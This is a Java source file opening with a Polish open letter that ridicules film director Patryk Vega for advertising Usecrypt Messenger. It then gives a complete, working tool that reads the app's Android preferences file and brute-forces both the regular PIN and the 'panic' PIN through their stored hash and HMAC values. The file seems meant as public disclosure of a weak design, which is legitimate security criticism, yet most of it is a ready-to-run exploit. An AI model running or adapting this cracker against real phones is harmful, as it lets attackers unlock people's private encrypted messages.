/*

List otwarty do Patryka Vegi

Drogi Patryku. Ustalmy na wstepie - jestes rezyserem i znasz sie na branzy filmowej. Nie znasz sie
na komputerach, sieciach ani tym bardziej kryptografii. Reklamujesz Usecrypt Messengera i niestety
twoi nowi koledzy robia z Ciebie debila.

Mowisz, ze fachowcy z Mossadu zabrali telefon z Usecryptem i nie odzywali sie przez dwa miesiace. Wiesz
czemu? Bo przez bite dwa miesiace nie mogli przestac sie smiac. Zlamanie zabezpieczen Usecrypt Messengera
to nie zadanie dla Mossadu tylko dla mnie, studenta drugiego roku informatyki.

Patryku, nie mam dla ciebie dobrych wiadomosci. Jesli zlosliwe oprogramowanie odczyta plik
/data/data/uc.messenger/shared_prefs/SecureSMS-Preferences.xml z twojego telefonu z Androidem, a to naprawde
latwe gdy jest sie zlosliwym oprogramowaniem, to oba PIN-y (ten zwykly i ten paniczny) stoja otworem.

Wiem, ze ciezko bedzie Ci w to uwierzyc, wiec zalaczam program za pomoca ktorego mozna zlamac zabezpieczenia
Usecrypt Messengera. Potrzebuje on do dzialania pliku SecureSMS-Preferences.xml z prywatnego katalogu Usecrypt
Messengera. Uruchamiasz program z nazwa tego pliku jako parametrem, czekasz krotka chwile i dostajesz na
ekranie najpierw Panic PIN a potem PIN.

Serdecznie Cie pozdrawiam
Student II roku (nie napisze, ktorej uczelni)

PS: nie reklamuj wiecej komunikatorow, OK?


----

Do uruchomienia niniejszego programu potrzebujesz bibliotek

Google_Protocol_Buffers_support_0.5.9
axolotl-java-1.4.2
protobuf-java-2.5.0
curve25519-java-0.2.4
org.bouncycastle:bcprov-ext-jdk14:1.51

----
Przykladowe uruchomienie:

Usecrypt Messenger mega h@x0r double PIN cracker
Looking for PANIC PIN, max: 9999
checking 3333
PANIC PIN found: 3333
Looking for PIN, max: 9999
checking 1111
PIN found: 1111


*/

import org.bouncycastle.jce.provider.BouncyCastleProvider;
import org.bouncycastle.util.encoders.Base64;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.whispersystems.libaxolotl.IdentityKey;
import org.whispersystems.libaxolotl.InvalidKeyException;
import javax.crypto.Mac;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import java.io.File;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.Security;
import java.util.Arrays;

public class UsecryptMessengerCracker {

    final int max_pin = 9999;

    int xml_passphrase_iterations= 20000;
    String xml_master_secret=null;
    String xml_pref_identity_public_v3=null;
    String xml_panic_hash=null;
    String xml_mac_salt=null;

    public static void main(String[] args) {
        UsecryptMessengerCracker d = new UsecryptMessengerCracker();
        d.crackUsecryptMessenger(args);
    }

    public void crackUsecryptMessenger(String[] args) {
        Security.addProvider(new BouncyCastleProvider());

        System.out.println("Usecrypt Messenger mega h@x0r double PIN cracker");

        if (args.length != 1){
            System.out.println("You need to provide a Usecrypt Messenger XML file from Android phone as a parameter");
            System.out.println("This is the one you need: /data/data/uc.messenger/shared_prefs/SecureSMS-Preferences.xml");
            System.exit(-1);
        }

        if (!new File(args[0]).exists()){
            System.out.println("File does not exist: "+args[0]);
            System.exit(-2);
        }

        DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
        try {
            DocumentBuilder dBuilder = dbFactory.newDocumentBuilder();
            Document doc = dBuilder.parse(new File(args[0]));


            Element map = doc.getDocumentElement();
            for (int i = 0; i < map.getChildNodes().getLength(); i++){
                Node n = map.getChildNodes().item(i);

                String name = n.getNodeName();
                if (name.equals("string") && n.hasAttributes()  ){
                    Node attrib = n.getAttributes().item(0);
                    if (attrib.getNodeValue().equals("master_secret")){
                        xml_master_secret = n.getTextContent();
                    }
                    if (attrib.getNodeValue().equals("pref_identity_public_v3")){
                        xml_pref_identity_public_v3 = n.getTextContent();
                    }
                    if (attrib.getNodeValue().equals("panic_hash")){
                        xml_panic_hash = n.getTextContent();
                    }
                    if (attrib.getNodeValue().equals("mac_salt")){
                        xml_mac_salt = n.getTextContent();
                    }
                }

                if (name.equals("int") && n.hasAttributes()  ){
                    Node attrib = n.getAttributes().item(0);
                    if (attrib.getNodeValue().equals("passphrase_iterations")){
                        String v = n.getAttributes().item(1).getTextContent();
                        xml_passphrase_iterations = Integer.parseInt(v);
                    }
                }
            }
        } catch (Exception e) {
            System.out.println("Error parsing XML: "+e.toString());
            System.exit(-3);
        }

        if (xml_master_secret==null || xml_pref_identity_public_v3==null || xml_panic_hash==null || xml_mac_salt==null){
            System.out.println("XML does not contain all required fields: ");
            System.exit(-4);
        }

        byte[] panic_hash_decoded = Base64.decode(xml_panic_hash);


        String ret = findPanicPIN(max_pin, panic_hash_decoded, xml_pref_identity_public_v3);
        if (ret != null){
            System.out.println("PANIC PIN found: "+ret);
        }else{
            System.out.println("PANIC PIN not found");
        }

        ret = findMasterSecret(max_pin, xml_master_secret, xml_mac_salt);
        if (ret != null){
            System.out.println("PIN found: "+ret);
        }else{
            System.out.println("PIN not found");
        }
    }


    public String findPanicPIN(int max, byte[] panic_hash_decoded, String pref_identity_public_v3) {
        System.out.println("Looking for PANIC PIN, max: "+max);

        for (int i=0; i<max+1; i++){
            String s = String.valueOf(i);
            System.out.print("checking ");
            System.out.print(s);
            System.out.print("\r");
            if(validatePanicPIN(s, panic_hash_decoded, pref_identity_public_v3)){
                System.out.println("");
                return s;
            }
        }

        System.out.println("");

        return null;

    }

    public boolean validatePanicPIN(String pin, byte[] panic_hash_decoded, String pref_identity_public_v3)  {

        byte[] b2 = new byte[0];
        try {
            b2 = getHashFromPassphrase(new IdentityKey(Base64.decode(pref_identity_public_v3), 0).serialize(), pin);
        } catch (InvalidKeyException e) {
            e.printStackTrace();
        }

        if (Arrays.equals(panic_hash_decoded,b2)) {
            return true;
        }else{
            return false;
        }
    }


    private static byte[] getHashFromPassphrase(byte[] var0, String var1) {
        byte[] var3 = var1.getBytes();
        byte[] var2 = new byte[var3.length + var0.length];
        System.arraycopy(var3, 0, var2, 0, var3.length);
        System.arraycopy(var0, 0, var2, var3.length, var0.length);
        byte[] var01 = var2;
        try {
            MessageDigest var11 = MessageDigest.getInstance("SHA-256");
            var11.update(var01);
            var01 = var11.digest();
        } catch (NoSuchAlgorithmException var21) {
            var01 = null;
        }

        return var01;
    }

    public String findMasterSecret(int max, String master_secret, String mac_salt) {
        System.out.println("Looking for PIN, max: "+max);

        byte[] master_secret_decoded = Base64.decode(master_secret);
        byte[] mac_salt_decoded = Base64.decode(mac_salt);

        for (int i=0; i<max+1; i++){
            String candidatePass = String.valueOf(i); // in case of alphanum passwords, try different candidates values here
            System.out.print("checking ");
            System.out.print(candidatePass);
            System.out.print("\r");
            if(true == verifyMasterPIN(candidatePass, master_secret_decoded, mac_salt_decoded, xml_passphrase_iterations)){
                System.out.println("");
                return candidatePass;
            }
        }
        System.out.println("");
        return null;
    }


    public boolean verifyMasterPIN(String pin, byte[] master_secret_decoded, byte[] mac_salt_decoded, int passphrase_iterations)  {

        try {
            int var4 = passphrase_iterations;
            byte[] var0 = mac_salt_decoded;
            PBEKeySpec var32 = new PBEKeySpec(pin.toCharArray(), var0, var4);
            SecretKeySpec var41 = new SecretKeySpec(SecretKeyFactory.getInstance("PBEWITHSHA1AND128BITAES-CBC-BC").generateSecret(var32).getEncoded(), "HmacSHA1");
            Mac var31 = Mac.getInstance("HmacSHA1");
            var31.init(var41);
            Mac var411 = var31;
            var0 = new byte[master_secret_decoded.length - var411.getMacLength()];
            System.arraycopy(master_secret_decoded, 0, var0, 0, var0.length);
            byte[] var5 = new byte[var411.getMacLength()];
            System.arraycopy(master_secret_decoded, master_secret_decoded.length - var411.getMacLength(), var5, 0, var5.length);
            if (Arrays.equals(var5, var411.doFinal(var0))) {
                return true;
            } else {
                return false;
            }
        } catch (Exception e) {
            //System.out.println(e.toString());
            return false;
        }

    }


}